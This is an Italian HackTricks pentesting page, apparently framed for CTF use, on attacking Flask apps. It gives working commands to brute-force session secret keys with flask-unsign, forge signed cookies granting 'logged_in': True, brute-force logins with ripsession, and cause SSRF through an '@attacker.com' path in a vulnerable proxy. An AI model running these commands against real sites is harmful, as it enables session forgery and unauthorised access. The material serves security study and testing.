5.8 KiB
Flask
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
![](/Mirrors/hacktricks/media/commit/3855c6c4b61b8a3f1ffaf106a4df2a292ccc09a4/.gitbook/assets/image%20%28515%29.png)
Usa Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti comunitari più avanzati al mondo.
Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
Probabilmente se stai giocando un CTF un'applicazione Flask sarà correlata a SSTI.
Cookies
Il nome predefinito della sessione dei cookie è session
.
Decodificatore
Decodificatore online dei cookie Flask: https://www.kirsle.net/wizards/flask-session.cgi
Manuale
Ottieni la prima parte del cookie fino al primo punto e decodificalo in Base64>
echo "ImhlbGxvIg" | base64 -d
Il cookie è anche firmato utilizzando una password
Flask-Unsign
Strumento da riga di comando per recuperare, decodificare, forzare e creare cookie di sessione di un'applicazione Flask indovinando le chiavi segrete.
{% embed url="https://pypi.org/project/flask-unsign/" %}
pip3 install flask-unsign
Decodifica Cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Forza Bruta
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Firma
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Firma utilizzando versioni legacy (vecchie versioni)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Strumento da riga di comando per eseguire un attacco di forza bruta ai siti web utilizzando cookie creati con flask-unsign.
{% embed url="https://github.com/Tagvi/ripsession" %}
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi in Cookie di sessione Flask con SQLmap
Questo esempio utilizza l'opzione eval
di sqlmap per firmare automaticamente i payload di sqlmap per Flask utilizzando un segreto noto.
Proxy Flask a SSRF
In questo articolo viene spiegato come Flask permette una richiesta che inizia con il carattere "@":
GET @/ HTTP/1.1
Host: target.com
Connection: close
Quale nel seguente scenario:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Potrebbe consentire di inserire qualcosa come "@attacker.com" al fine di causare un SSRF.
![](/Mirrors/hacktricks/media/commit/3855c6c4b61b8a3f1ffaf106a4df2a292ccc09a4/.gitbook/assets/image%20%28515%29.png)
Usa Trickest per creare facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.
Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e ai repository github di HackTricks Cloud.